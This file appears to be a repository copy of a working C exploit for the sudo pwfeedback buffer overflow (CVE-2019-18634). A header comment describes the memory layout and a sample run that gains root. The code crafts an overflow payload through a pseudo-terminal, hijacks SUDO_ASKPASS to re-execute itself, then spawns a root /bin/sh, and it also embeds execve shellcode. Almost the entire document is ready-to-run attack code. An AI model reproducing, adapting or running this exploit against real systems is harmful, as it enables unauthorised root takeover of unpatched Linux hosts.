2022-01-13 17:57:04 +08:00

229 lines
5.9 KiB
C

/*
--- Exploit Info ---
ID: CVE-2019-18634
Software: sudo
Versions: < 1.8.30
Tested: 1.8.25
Description: buffer overflow in sudo tgetpass.c when pwfeedback module is enabled
Exploitation details:
We need to trigger the buffer overflow located in getln @ tgetpass.c, to
overflow some internal data structures and variables to get root privileges.
Memory order:
static char buf[SUDO_CONV_REPL_MAX + 1];
static const char *askpass;
static volatile sig_atomic_t signo[NSIG];
extern int tgetpass_flags;
struct user_details {
pid_t pid;
pid_t ppid;
pid_t pgid;
pid_t tcpgid;
pid_t sid;
uid_t uid;
uid_t euid;
uid_t gid;
uid_t egid;
const char *username;
const char *cwd;
const char *tty;
const char *host;
const char *shell;
GETGROUPS_T *groups;
int ngroups;
int ts_cols;
int ts_lines;
};
Execution:
lockedbyte@pwn:~$ /tmp/exploit
[i] CVE-2019-18634 - sudo < 1.8.30 OOB write (buffer overflow) leading to privilege escalation
[.] initializing pseudo-terminal...
[.] making pseudo-terminal O_RDONLY to make write() fail...
[.] crafting payload...
[.] sending payload...
[.] creating callback through SUDO_ASKPASS to /proc/self/exe...
[.] triggering vulnerability...
Password:
Sorry, try again.
[+] callback executed!
[+] we are root!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(lockedbyte)
# pwd
/home/lockedbyte
#
--- End Exploit Info ---
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <termios.h>
#include <string.h>
#include <unistd.h>
#define MAX_PAYLOAD_SIZE 1024
#define MAX_ENV_SZ 512
#define ID_BIN_PATH "/usr/bin/id"
#define ENV_ASKPASS "SUDO_ASKPASS"
#define MIN_TERM_ROUND 0xfe
#define OFF_T 0x272
#define FLAG_VAL 0x04
#define CUSTOM_SHELLCODE 0
#define SH_ROOT_SHELL 1
#define CUSTOM_EXECUTABLE 2
#define EXE_PATH "/proc/self/exe"
#define SHELLCODE "\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
#define SH_ROOT_PATH "/bin/sh"
#define CUSTOM_EXECUTABLE_PATH "/usr/bin/whoami"
#define EXPLOIT_PAYLOAD SH_ROOT_SHELL
int evil_code(void) {
fprintf(stderr, "[+] callback executed!\n");
unsetenv(ENV_ASKPASS);
dup2(2, 0);
dup2(2, 1);
if(getuid() != 0) {
fprintf(stderr, "[-] we are not root. exiting...\n");
exit(EXIT_FAILURE);
}
fprintf(stderr, "[+] we are root!\n");
if(EXPLOIT_PAYLOAD == CUSTOM_SHELLCODE) {
void *shellcode;
shellcode = mmap(NULL, sizeof(SHELLCODE)+1, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
memset(shellcode, 0x90, sizeof(SHELLCODE)+1);
memcpy(shellcode, SHELLCODE, sizeof(SHELLCODE));
int (*fptr)() = (int(*)())shellcode;
} else if(EXPLOIT_PAYLOAD == SH_ROOT_SHELL) {
execve("/bin/sh", NULL, NULL);
} else if(EXPLOIT_PAYLOAD == CUSTOM_EXECUTABLE) {
execve(CUSTOM_EXECUTABLE_PATH, NULL, NULL);
}
return 1;
}
int main(int argc, char *argv[]) {
/* initial variable definitions */
int masterfd;
int slavefd;
char *payload;
char target_path[MAX_ENV_SZ];
struct termios termx;
char *pts_name;
puts("[i] CVE-2019-18634 - sudo < 1.8.30 OOB write (buffer overflow) leading to privilege escalation");
/* the exploit executed by sudo has 2 argv entries, the on executed initially just one */
if(argc == 0x2) {
evil_code(); /* we are probably getting executed by sudo with SUDO_ASKPASS */
return 0;
}
puts("[.] initializing pseudo-terminal...");
/* we initialize the pseudo-terminal */
masterfd = posix_openpt(O_RDWR);
/* grant access to the slave pseudoterminal */
if(grantpt(masterfd) < 0) {
puts("[-] err.: grantpt() failed!");
exit(EXIT_FAILURE);
}
/* unlock a pseudoterminal master/slave pair */
if(unlockpt(masterfd) < 0) {
puts("[-] err.: unlockpt() failed!");
exit(EXIT_FAILURE);
}
if(tcgetattr(masterfd, &termx) < 0) {
puts("[-] err.: tcgetattr() failed!");
exit(EXIT_FAILURE);
}
cfmakeraw(&termx);
if(tcsetattr(masterfd, TCSANOW, &termx) < 0) {
puts("[-] err.: tcsetattr() failed!");
exit(EXIT_FAILURE);
}
/* get the name of the slave pseudoterminal */
pts_name = ptsname(masterfd);
puts("[.] making pseudo-terminal O_RDONLY to make write() fail...");
/* it will be read-only to make the write syscall fail at tgetpass.c:328 */
slavefd = open(pts_name, O_NOCTTY | O_RDONLY);
/* initialize any memory space to store payload */
payload = malloc(MAX_PAYLOAD_SIZE);
/* fill memory with NULL bytes */
memset(payload, 0, malloc_usable_size(payload));
puts("[.] crafting payload...");
/* to set the flag for SUDO_ASKPASS */
payload[OFF_T] = FLAG_VAL;
/* we set the sudo_term_kill character each n bytes to avoid BOF ending */
for(int i = 0 ; i < (malloc_usable_size(payload)/MIN_TERM_ROUND) ; i++)
payload[MIN_TERM_ROUND*i] = 0x15; /* the sudo_term_kill character is 0x15 */
puts("[.] sending payload...");
/* we send the payload to the pseudo terminal */
write(masterfd, payload, malloc_usable_size(payload));
free(payload);
*payload = NULL;
puts("[.] creating callback through SUDO_ASKPASS to /proc/self/exe...");
/* we want to execute our selves once sudo finishes, then we will use /proc/self/exe */
/* we use readlink to get the real path from the symlink */
readlink(EXE_PATH, target_path, sizeof(target_path)-1);
/* we set the SUDO_ASKPASS to te path where this program is stored */
setenv(ENV_ASKPASS, target_path, 1);
/* redirect stdin to slavefd */
dup2(slavefd, 0);
/* close slavefd */
close(slavefd);
puts("[.] triggering vulnerability...");
/* finally we execute sudo with those specific args to trigger the vulnerability */
execl("/usr/bin/sudo", "/usr/bin/sudo", "-S", "id", NULL);
close(masterfd);
return 0;
}